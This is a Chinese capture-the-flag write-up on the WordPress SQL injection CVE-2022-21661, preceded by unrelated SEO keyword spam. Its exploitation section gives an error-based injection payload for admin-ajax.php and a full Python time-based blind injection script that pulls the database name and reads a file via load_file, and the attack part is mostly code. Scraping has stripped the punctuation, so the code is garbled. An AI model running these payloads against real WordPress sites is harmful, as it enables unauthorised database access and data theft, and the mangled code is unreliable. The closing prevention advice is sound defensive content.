百度首页网站推广多少钱一年,网页设计与制作简答题,公司内部网络建设方案,鄂尔多斯建设招投标网站简介
CVE-2022-21661是一个与WordPress相关的漏洞#xff0c;涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数#xff0c;可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询#xff0c;从而执行任意的SQL代码。
当WordPress的…简介
CVE-2022-21661是一个与WordPress相关的漏洞涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询从而执行任意的SQL代码。
当WordPress的执行进入WQ_Tax_Query类的get_sql函数时会调用transform_query函数来处理接收到的数据并将其组合成SQL查询中的条件。然而如果攻击者能够控制clean_query的返回数据他们就可以控制SQL查询的执行。
具体来说WQ_Tax_Query类中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函数可以接收并处理传递给它们的数据并将其用于构建SQL查询。然而如果在传递给这些函数的数据中存在某些特定的控制字符或序列攻击者就可以尝试修改生成的SQL查询从而执行他们自己的恶意代码。
例如如果攻击者在传递给clean_query函数的数据中插入某些特定的控制字符或序列他们就可以尝试修改生成的SQL查询从而执行他们自己的恶意代码。在某些情况下这可能会导致攻击者能够执行任意的SQL代码从而对数据库进行访问或修改
靶场介绍
2022年1月6日wordpress发布了5.8.3版本修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类允许开发者编写自定义查询和使用不同的参数展示文章并可以直接查询wordpress数据库在核心框架和插件以及主题中广泛使用。源码位置www.tar
漏洞利用
1.打开场景下载源码 2.根据官方公布漏洞存在路径/wp-admin/admin-ajax.php进行访问 3.判断方法post提交action函数名当调用方法正确即调用的WP_Query的构造方法的action无回显当调用方法不对或者不存在返回0。 4.开启调试模式poc
actiontestdata{tax_query:{0:{field:term_taxonomy_id,terms:[111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#]}}}5.exp
import requests
import timedef time_delay(url, headers, payload):start_time time.time()response requests.post(url, headersheaders, datapayload)end_time time.time()#print(end_time,start_time)delay end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result[]for i in range(1, 100):for j in range(32,126):#r0123456789abcdefghijklmnopqrstuvwxyz_-{}:#find db#payload {id: (if((substr(database(),%d,1))%s,sleep(10),1))#} % (i, j)#find table#payload {id: (if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),%d,1))%d,sleep(10),1))#} % (i, j)#find table -wp%#payload {id: (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase() and table_name not like 0x777025),%d,1))%d,sleep(10),1))#} % (i, j)#find column#payload {id: (if(ascii(substr((select count(column_name) from information_schema.columns where table_nameflag),%d,1))%d,sleep(10),1))#} % (i, j)#payload {id: ()#} % (i, j)payload actiontestdata{tax_query:{0:{field:term_taxonomy_id,terms:[1) or (if(ascii(substr((select database()),%d,1))%d,sleep(10),1))#]}}} % (i, j)payload actiontestdata{tax_query:{0:{field:term_taxonomy_id,terms:[1) or (if(ascii(substr((select load_file(/flag)),%d,1))%d,sleep(4),1))#]}}} % (i, j)delay time_delay(url, headers, payload)print({ ,.join(result), } - ,i,-,j,time_delay:,delay)if delay 4:result.append(chr(j))print(.join(result))breakelse:print(The payload is not vulnerable to SQL injection.)print(result:,.join(result))if __name__ __main__:url http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.phpheaders {Cache-Control: no-cache, must-revalidate, max-age0,Upgrade-Insecure-Requests: 1,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d959431700540775,1700564324,1700612154,1700705633; _gaGA1.2.959161918.1696849239; _ga_J1DQF09WZCGS1.2.1696849239.1.0.1696849239.0.0.0; chkphoneacWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d959431700705649,Connection: keep-alive,Content-Type: application/x-www-form-urlencoded,}time_based_blind_sql_injection(url, headers)6.结果 预防
为了防止CVE-2022-21661漏洞和其他SQL注入攻击可以采取以下几种措施
输入验证和过滤对用户输入的数据进行严格的验证和过滤确保只接受预期的数据类型和格式。这可以通过服务器端和客户端的验证实现。参数化查询和预编译语句使用参数化查询和预编译语句可以防止攻击者修改原始查询。这可以防止SQL注入攻击因为参数值不会被解释为SQL代码。使用最新的版本和补丁及时更新软件和应用程序并应用最新的安全补丁。这可以修复已知的漏洞并提高系统的安全性。限制数据库用户的权限将数据库用户的权限限制为仅能执行必要的操作并禁止执行其他可能不安全的操作。加密敏感数据对敏感数据进行加密以防止攻击者访问和利用这些数据。配置安全设置根据应用程序的需要配置安全设置例如禁用不必要的数据库功能、限制远程访问等。定期备份数据库定期备份数据库以防止数据被篡改或丢失。安全审计和监控定期进行安全审计和监控及时发现并修复潜在的安全问题。